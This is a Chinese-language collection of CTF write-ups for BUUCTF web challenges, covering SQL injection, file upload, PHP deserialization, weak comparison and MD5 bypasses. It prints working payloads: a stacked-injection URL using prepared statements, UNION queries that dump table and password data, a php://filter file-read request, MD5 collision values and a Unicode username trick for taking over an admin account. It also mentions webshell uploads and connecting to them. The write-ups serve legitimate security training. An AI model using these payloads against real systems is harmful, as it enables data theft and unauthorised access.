BUU web wp2

easy——sql

考点:堆叠注入,sql语句,最后读flag的方法(rename

 报错出:

查询一下mariadb的语法 链接:https://www.***blogs.***/biht/p/11720419.html

有过滤 

堆叠注入;

查询数据库名

查看当前数据库中的表名

 还必须加`才行

如何显示flag呢

学习大佬博客https://www.***blogs.***/chalan630/p/12583667.html

/?inject=-1%27;%20sEt%20@sql=CONCAT(%27se%27,%27lect%20*%20from%20`1919810931114514`;%27);%20prepare%20stmt%20from%20@sql;%20execute%20stmt;

 [SUCTF 2019]EasySQL

考点:堆叠注入,sql_mode,短路算法

 继续尝试堆叠注入

 查Flag中的字段爆出NONONO!

继续学习大佬博客BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-CSDN博客

知识点MySQL和mssql中||运算符的区别,运算符的意义转换(操作符重置,短路算法

牛掰

sql_mode=PIPES_AS_CONCAT 来转换操作符的作用 

两种方法: 

1;set sql_mode=PIPES_AS_CONCAT;select 1 

*,1

[极客大挑战 2019]Secret File

考点:信息收集,重定向,file伪协议读取flag.php

看源码

 

点进去是 

点SECRET发现

 

看一下上一页面的源码 发现有

点击却跳转到了end.php

抓包看一下action.php

发现secr3t.php

 

直接读flag.php不行

那就是用到file伪协议了

 /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

再base64解码得到flag

[极客大挑战 2019]LoveSQL

考点:万能密码,sql联合查询

万能密码尝试

 发现

并不是flag,可能在另一个密码里

admin'or 1=1 order by 1#

 发现有3列,

并且2,3回显。

 

c查询数据库

查询表名 

1' union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()#
 

 

查第一个表的列名 

1' union select 1,database(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='geekuser'#
 

查字段

1' union select 1,username,group_concat(password) from geekuser#

发现就是第一次万能密码登录的密码

然后查另一张表就行了

1' union select 1,username,group_concat(password) from l0ve1ysq1#
 

拿到flag。。。 

[极客大挑战 2019]Http

考点:考察简单的http知识

User—Agent 浏览器的身份标识字符串
Referer 表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
X-Forwarded-For 可以用来表示HTTP请求端真实ip
Date 发送该消息的日期和时间

[极客大挑战 2019]Knife

蚁剑连接,flag在根目录

[极客大挑战 2019]Upload

考点:

1.绕过<?

2.pthml绕过php

3.mime

4.GIF89a

5.猜测上传文件地址为/upload

[ACTF2020 新生赛]Upload

考点:文件上传phtml解析php代码

基本同上一关

 [极客大挑战 2019]PHP

考点:绕过wakeup函数,私有,公有,保护反序列化

直接dir扫描了一下有www.zip下载出现 

flag.php中有假flag

看index.php 

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

get接收select,然后反序列化为$res 

看class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

要使username==='admin'(需要绕过wakeup函数),password=100,才能输出flag

__wakeup()函数用法:__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

绕过wakeup函数 :
绕过方法__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

编写payload不熟悉,借鉴大佬文章【BUUCTF】[极客大挑战 2019] PHP 清晰易懂详细总结 Writeup_buuctf [极客大挑战 2019]php-CSDN博客

[ACTF2020 新生赛]BackupFile

考点:弱等于==

扫描,index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

代码审计

intval()函数:用于将一个值转换为整数类型

在执行关系运算”==“时要求运算符两边的数据类型必须一致,所以如果有一方是int类型,一方是字符串类型的话,字符串类型会被强制转换为整型

首先get传参key必须为数字,然后得 弱等于类型,只要看第一次字母前的数字key=123

运行代码也可以

<?php
    for($i=0;$i<100000;$i++){
		$key=$i;
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $key;
    }
}
?>

结果为123

传参key=123得到flag

 [极客大挑战 2019]BuyFlag

 <!--
    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
-->

搜索一下,原来是需要user=1为学生。

继续传password=404a和money=100000000,提示数字太长,使用10e8成功

 [BJDCTF2020]Easy MD5

考点:md5($pass,true)漏洞,md5绕过

抓包看一下 

有个hint: Hint: select * from 'admin' where password=md5($pass,true)

md5函数:

md5( string , raw )

string : 规定需要计算的字符串

raw : 规定十六进制或二进制输出格式。

        true:16字符二进制格式

        false(默认): 32字符十六进制数

查到有个值 ffifdyop 可以让此语句永真,输入得到

 

源码有 

 

md5漏洞绕过: 构造?a=QNKCDZO&b=240610708或者数组绕过 a[]=1&b[]=2

然后显示:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

继续数组绕过 (===的话0e就不行了)

还有大佬的笔记 

md5()函数的漏洞总结 - 简书 还学到了强类型绕过

 [HCTF 2018]admin

考点:弱密码,Unicode欺骗

先尝试admin+空格注册,不行,加#注册可以,但改不了admin的密码

看wp可以找到源码,打开貌似是404,借看大佬的wp,分析源码是有两层小写(自己写的函数)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

学习到注册ᴬᴰᴹᴵᴺ为用户名,再修改密码为123456,即修改了admin的密码再登录即可

 [MRCTF2020]你传你🐎呢

考点:.hta***ess(.user.ini不行的话)

 

 再上传图片马

转载请说明出处内容投诉
CSS教程_站长资源网 » BUU web wp2

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买